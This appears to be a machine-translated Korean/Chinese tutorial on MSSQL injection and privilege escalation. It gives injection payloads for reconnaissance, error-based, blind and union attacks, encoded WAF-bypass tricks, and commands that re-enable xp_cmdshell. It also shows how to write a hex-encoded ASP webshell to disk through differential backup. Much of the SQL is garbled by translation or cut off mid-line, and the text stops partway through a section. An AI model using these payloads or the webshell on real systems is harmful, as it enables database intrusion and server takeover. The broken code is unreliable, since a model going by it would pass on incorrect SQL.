제목 : MSSQL 주입 및 전력 고도 방법 조직

MSSQL 注入与提权方法整理​

1 SQL Server 相关基础简介​

1.1 默认库介绍​

마스터-사용자 데이터베이스 및 데이터 운영을 제어하는 모든 SQL 서버 시스템 수준 정보를 기록하는 데 사용됩니다.
모델 - 사용자 데이터베이스를 위해 SQL Server가 제공하는 보일러 플레이트. 새로운 사용자 데이터베이스는 모델 데이터베이스를 기반으로합니다.
MSDB- 엔터프라이즈 관리자 및 에이전트가 사용하는 IT는 작업 계획 정보, 이벤트 처리 정보, 데이터 백업 및 복구 정보, 경고 및 예외 정보를 기록합니다.
TEMPDB- 임시 테이블 및 기타 임시 작업을위한 저장 공간을 제공합니다.
정보
우리가 종종 여기에서 다루어야하는 라이브러리는 모든 데이터베이스 이름과 저장된 절차를 저장하는 마스터입니다. MySQL의 information_schema metadatabase와 유사합니다.
20210120143745.png-water_print

마스터 라이브러리를 예로 들어 위의 범주를 보려면 View Table Mas 각 라이브러리의 뷰 차트에는 모든 필드를 저장하는 SyScolumn이 있으며 기능은 프로그램을 프로그램 할 수 있습니다.
1
Master.dbo.sysdatabases에서 이름을 선택하십시오.
모든 데이터베이스의 이름을 쿼리하십시오.

1.2 字段介绍​

1
SysObjects에서 상위 1 개 이름, Xtype를 선택하십시오.
xtype는 다음 객체 유형 중 하나 일 수 있습니다.
C=제약 조건을 확인하십시오
d=기본값 또는 기본 제약 조건
f=외국 키 제약
l=로그
FN=스칼라 함수
if=인라인 테이블 함수
p=저장된 절차
pk=1 차 키 제약 조건 (유형은 k)
RF=복사 필터링 저장 프로 시저
S=시스템 테이블
tf=테이블 함수
tr=트리거
u=사용자 테이블
uq=고유 한 제약 조건 (유형은 k)
v=보기
x=확장 된 저장 절차

2 SQL Server 信息收集​

2.1 权限判断​

SQL Server는 기능 범위에 따라 3 개의 주체가 있습니다 :
Windows 레벨 원칙
서버 레벨 원칙
데이터베이스 레벨 주제
20210121092915.png-water_print

2.1.1 服务器级别​

Microsoft의 공식 문서 인 IS_SRVROLEMEMBER ( 'role'[, 'login'])에서 기능 역할의 유효한 값은 사용자 정의 서버 역할이며 다음과 같은 고정 서버 역할입니다.
20210120145938.png-water_print

반환 유형 :
반환 값
설명하다
0
로그인은 역할의 구성원이 아닙니다.
1
로그인은 역할의 구성원입니다.

역할 또는 로그인은 유효하지 않거나 역할 멤버십을 볼 수있는 권한이 없습니다.
마지막으로 우리는 다음과 같은 진술을 구성 할 수 있습니다.
1
2
3
4
5
6
그리고 1=(select is_srvrolemember ( 'sysadmin'))
그리고 1=(선택 IS_SRVROLEMEMBER ( 'ServerAdmin'))
그리고 1=(select is_srvrolemember ( 'setupadmin'))
그리고 1=(선택 IS_SRVROLEMEMBER ( 'SecurityAdmin'))
그리고 1=(선택 IS_SRVROLEMEMBER ( 'DISKADMIN'))
그리고 1=(select is_srvrolemember ( 'bulkadmin'))
sqlmap의 -is-dba 명령을 사용하여 관리자 권한 여부를 결정하십시오.
1
선택 *에서 admin에서 id=1 및 5560 in (select (char (113)+char (122)+char (113)+char (107)+char (113)+(select (case when (is_srvrolememb (char (115)+char (100))+char (105)+char (105)+char (105))+char (105)+char (105)+char (105)))+char (105)+char (105))+char (105)+char (105)) char (49) else char (48) 끝))+char (113)+char (118)+char (112)+char (120)+char (113))))

2.1.2 数据库级别的角色​

SELECT IS_MEMBER ( 'DB_OWNER')
20210120150401.png-water_print

2.2 基本信息​

1
2
3
4
@@ 버전 //데이터베이스 버전
사용자 //현재 데이터베이스 사용자 이름을 가져옵니다
db_name () //현재 데이터베이스 이름 (n)은 다른 데이터베이스를 가로 질러 갈 수 있습니다.
; 사용자 선택 //여러 문장이 지원되는지 여부를 쿼리하십시오

2.3 判断站库分离​

1
id='1'및 host_name ()=@@ servername;-'에서 *를 선택하십시오.
가장 쉬운 방법은 물론 XP_CMDSHELL에 전화 할 수 있으며 CMD로 판단 할 수 있습니다.
데이터베이스 버전 및 현재 사용자 권한을 판단하면 다음 단계를 생각할 수 있습니다. 예를 들어, 2005 년 XP_CMDSHELL의 권한은 일반적으로 시스템이며 2008 년의 권한은 일반적으로 Nauthority \ Network Service입니다.

3 SQL Server 语法​

3.1 注释符号​

1
2
3
/*
-
;%00

3.2 空白字符​

1
2
3
01,02,03,05,06,06,07,08,09,0A, 0B, 0C, 0C, 0D, 0E, 0F, 10,11,12,13,14,16,16,18,19,1A, 1B, 1C, 1D, 1D, 1E, 1F, 20
/**/

3.3 运算符号​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
스물 셋
24
25
26
27
28
29
30
+ 추가 작업
- 빼기 작업
* 곱셈 작업
/분할 작업, 두 표현식의 값이 정수 인 경우 결과는 정수 값 만 가져오고 소수점 값은 생략됩니다.
% 모듈 작동, 두 숫자를 나눈 후 나머지를 반환합니다.
비트 및 로직 작업은 두 표현식에서 해당 비트를 사용합니다. 입력 표현식의 두 비트의 값이 1 인 경우에만 결과의 비트는 1로 설정됩니다. 그렇지 않으면 결과의 비트가 0으로 설정됩니다.
| 비트 또는 논리적 작동, 두 표현식에서 해당 비트를 가져옵니다. 입력 표현식의 두 비트 중 하나가 값이 1 인 경우 결과 비트가 1로 설정되고 두 비트의 값이 0 인 경우에만 결과 비트가 0으로 설정됩니다.
^ 비트 독점 또는 작동, 두 표현식에서 해당 비트를 가져옵니다. 입력 표현식의 두 비트 중 하나만 값이 1 인 경우 결과의 비트는 1으로 설정됩니다. 두 비트의 값이 0 또는 1 인 경우에만 결과의 비트가 0으로 설정됩니다.
=동일합니다
동일하지 않습니다
더 큽니다
!=동일하지 않습니다
보다 적습니다
! 적어도
=보다 크거나 동일합니다
! 보다 크지 않습니다
=보다 작거나 동일합니다
그룹의 비교가 사실이라면 모두 비교 결과가 사실입니다.
부울 표현이 모두 사실이라면 결과는 사실입니다. 표현 중 하나가 False 인 경우 결과는 False입니다.
세트의 비교가 사실이라면 결과는 사실입니다.
피연산자가 특정 범위 내에있는 경우 결과가 사실입니다.
일부 행이 하위 쿼리에 포함되면 존재하며 결과는 사실입니다.
피연산자가 표현 목록 중 하나와 같으면 결과가 사실입니다.
피연산자가 패턴과 일치하는 것처럼 결과는 사실입니다.
다른 부울 연산자의 결과 값을 반대로하지 마십시오.
또는 두 부울 표현 중 하나가 사실이라면 결과가 사실입니다.
일부 비교가 일련의 비교에서 사실이라면 일부는 사실입니다.

3.4 语法定义符号​

1
2
3
4
5
6
7
8
9
문자열을 분리하는 데 사용되는 각도 브래킷, 문자열은 구문 요소의 이름이며 SQL 언어의 비 터미널 문자입니다.
:=연산자 정의. 규칙을 생성하여 규칙 정의의 요소와 규칙 정의를 분리하는 데 사용됩니다. 정의 된 요소는 연산자의 왼쪽에 있으며 규칙 정의는 연산자 오른쪽에 있습니다.
[] 사각형 브래킷은 규칙에 선택적인 요소를 나타냅니다. 정사각형 괄호의 규칙 부분은 명시 적으로 지정되거나 생략 될 수 있습니다.
{} Curly Braces는 규칙에서 요소를 수집합니다. Curly Braces의 규칙 섹션은 명시 적으로 지정되어야합니다.
() 브래킷은 그룹화 연산자입니다

4 MSSQL 注入​

4.1 显错注入​

4.1.1 原理​

MSSQL 오류 오류 주입은 디스플레이 또는 암시 적 변환을 사용하여 오류 주입을보고합니다. 예를 들어 다음은 일반적인 암시 적 변환입니다.
1
2
3
4
5
admin where id=1 및 (사용자 선택) 0-에서 *를 선택하십시오.
ind=1 | (사용자 선택)에서 *에서 *를 선택하십시오.
nvarchar 값 'dbo'를 데이터 유형 int로 변환하지 못했습니다.
디스플레이 변환은 함수를 사용하여 변환하는 것을 의미합니다. 우리가 자주 사용하는 두 가지 기능은 캐스트 및 변환입니다.
1
2
3
admin where id=1에서 * 선택 * (캐스트를 선택합니다 (user as at int))
선택 *에서 admin where id=1을 선택하십시오 (convert (int, user))
判断当前数据库:id=1 '및 db_name () 0;-
20210120152616.png-water_print

爆表名:id=1 '및 1=(xtype='u '및 name!='info ');
20210120152643.png-water_print

爆列名:id=1 '및 1=(id=(name='admin ') 및 name'id');-
20210120152732.png-water_print

爆数据:ID=1 '및 1=(관리자에서 상단 1 사용자 이름을 선택);-
20210120152807.png-water_print

4.1.2 其它用法​

물론, Information_schema.tables를 사용하여 데이터베이스의 모든 테이블을 쿼리 할 수도 있습니다.
1
2
3
4
5
information_schema.tables에서 *를 선택하십시오
information_schema.columns where table_name='admin'을 선택하십시오.
id=1 및 1=(information_schema.tables에서 탑 1 table_name을 선택하십시오);-
현재 테이블 이름과 열 이름을 결정하려면 1=1과 그룹을 사용할 수도 있습니다.
ID=1 1=1
20210120153503.png-water_print

爆出当前表和字段:ID=1 그룹별 info.id, info.name 1=1
20210120153547.png-water_print

4.1.3 简单注入绕过​

여기에 선언 함수는 MSSQL에서 로컬 변수를 선언하는 함수입니다. 우리는 종종 일부 키워드에서 WAF의 차단을 우회하는 데 사용합니다.
1
admin where id=1; @a nvarchar (2000) set@a='select convert (int, @@ version)'exec (@a)를 선택하십시오.
변수 정의 선언, 변수 값을 설정하고 Exec는 변수를 실행합니다.
변수의 값은 16 진수 및 ASCII 코드를 지원합니다. 견적 표시를 필터링하면 이런 식으로 진술을 인코딩 할 수 있습니다.
1
2
3
admin where id=1; @s varchar (2000) set @s=0x73656c65637420636f6e76665727428696e742c404076657273696f6e29 exec (@s)-
admin에서 admer에서 선택 *에서 @s varchar (2000) set @s=char (115) + char (101) + char (108) + char (101) + char (99) + char (116) + char (32) + char (111) + char (110) + char (118) + char (114) + char (116) + char (116) + char (116) + char (116) + char (116) + char (116) + char (116) + char (116) + char (116) + char char (110) + char (116) + char (44) + char (64) + char (64) + char (118) + char (101) + char (114) + char (115) + char (105) + char (110) + char (41) exec (@s)-

4.2 盲注​

실제로, MySQL과 유사성은 세분화 문자열의 비교에 지나지 않지만 MSSQL에는 많은 맹인 베팅 루틴이 없습니다.

4.2.1 布尔盲注​

1
id=1 및 ascii (하위 문자 ((Master.dbo.sysdatabass), 1,1)=109

4.2.2 时间盲注​

1
2
3
id=1; if (select is_srvrolemember ( 'sysadmin'))=1 대기 지연 '033600:5'-
id=1; if (ascii (substring (((() mas

4.2 联合注入​

MSSQL 공동 주입 디지털 자리 표시자를 사용하면 암시 적 변환을 유발할 수 있기 때문에 일반적으로 디지털 자리 표시자를 사용하지 않지만 NULL을 사용합니다.
ID=1 Union Select NULL, 이름, 정보에서 통과하십시오
20210120161528.png-water_print

다음 방법을 사용할 수도 있습니다.
ID=1 SELECT 1 UNION (SELECT CAST (사용자 AS int))
20210120161612.png-water_print

5 MSSQL 提权​

20210120182207.png-water_print

5.1 备份拿 shell​

백업 및 쉘 가져 오기에는 권한 문제가 포함됩니다. 말할 것도없이, SA 권한은 기본적으로 다운 그레이드없이 무엇이든 할 수 있습니다. 데이터베이스 권한은 db_owner입니다. 물론 다른 사용자가 DB__OWNER를 소유하고 있다면 기본적으로 백업을 통해 쉘을 얻을 수 있지만 디렉토리 권한을 설정 한 후에는 할 수 없습니다.

5.1.1 路径的寻找​

우리는 일반적으로 경로가 필요한 사람들을위한 몇 가지 아이디어가 있습니다.
오류 검색
사전
현장 정보 수집
저장 프로세스에 전화하여 검색하십시오
구성 파일을 읽으십시오
여기서 우리는 저장 프로세스에 중점을 둡니다. 즉, 이러한 기능은 웹 사이트 루트 디렉토리를 찾는 데 사용됩니다. 일반적으로 XP_CMDSHELL, XP_DIRTREE, XP_DIRTREE, XP_SUBDIRS를 사용할 수 있습니다
1
2
3
Mas
Mas
Mas
XP_Dirtree를 실행하면 전달한 매개 변수를 반환합니다. 에코가 없으면 이런 식으로 임시 테이블 삽입을 만들 수 있습니다.
1
2
3
id=1; 생성 테이블 TMP (dir varchar (8000), num int, num1 int);
id=1; tmp (dir, num, num1)에 삽입 마스터를 실행합니다 .xp_dirtree 'c:', 1,1
XP_CMDSHELL 경로 찾기 :
이 XP_CMDSHELL은 CMD 명령을 호출하여 검색하는 것이 더 편리합니다. 예를 들어 내 웹 디렉토리에는 1.aspx가 있습니다
1
2
C: \ users \ geefor /r c: \ %i in (1*.aspx) do @echo %i
C: \ www \ 1.aspx
따라서 테이블 만 만들면 숯이 있습니다.
1
2
3
id=1; 테이블 CMDTMP 생성 (Dir Varchar (8000));
id=1; cmdtmp (dir) exec mas
정보
SQL Server는이 구성 요소 가이 서버의 보안 구성의 일부로 종료 되었기 때문에 구성 요소 XP_CMDSHELL SYS.XP_CMDSHELL 프로세스에 대한 액세스를 차단합니다. 시스템 관리자는 SP_CONFIGURE를 사용하여 활성화 할 수 있습니다.
호출 할 수없고 오류 가보고 된 XP_CMDSHELL을 만나면 다음 명령을 따라 복원 할 수 있습니다.
1
2
3
4
5
//고급 매개 변수를 수정할 수 있습니다
; exec sp_configure 'Show Advanced Options', 1; 재구성;
//XP_CMDSHELL 확장자를 엽니 다
; exec sp_configure 'xp_cmdshell', 1; 재구성;-

5.1.2 差异备份​

1
2
3
4
5
6
7
8
9
10
//한 번 백업을 완료합니다 (저장 위치를 변경할 수 있음)
백업 데이터베이스 라이브러리 이름으로 디스크='C: \ bak.bak';-
테이블 [dbo]. [test] ([cmd] [image]);
//테이블 CMD를 만들고 문장을 삽입합니다
테스트 (CMD) 값에 삽입 (0x3C2565786563746528726571756573742822612229253E)
//차동 백업을 만듭니다
백업 데이터베이스 라이브러리 이름으로 디스크='C: \ d.asp', 차동 형식, 형식;-
성공하지 못하는 많은 차별적 백업이 있습니다. 일반적으로 디렉토리 권한에 문제가 있습니다. 처음으로 백업 한 디렉토리에 권한이 없는지 여부와 웹 사이트 디렉토리에 두 번째로 백업 한 디렉토리에 권한이 있으므로 일반적으로 C 디스크 루트 디렉토리로 직접 백업하지 않습니다.
단일 따옴표 또는 경로 기호와 같은 특수 문자를 필터링 할 때 위에서 언급 한 정의 로컬 변수를 사용하여 실행할 수 있습니다.

5.1.3 LOG 备份​

로그 백업은 지정된 데이터베이스를 먼저 복원 모드로 활성화해야하므로 데이터베이스 XXX 세트 복구를 변경 해야하는 반면 차동 백업이 필요하지 않으므로이 문의 유일한 문학은 로그 백업입니다.
로그 백업의 요구 사항은 다음과 같습니다
 
뒤로
상단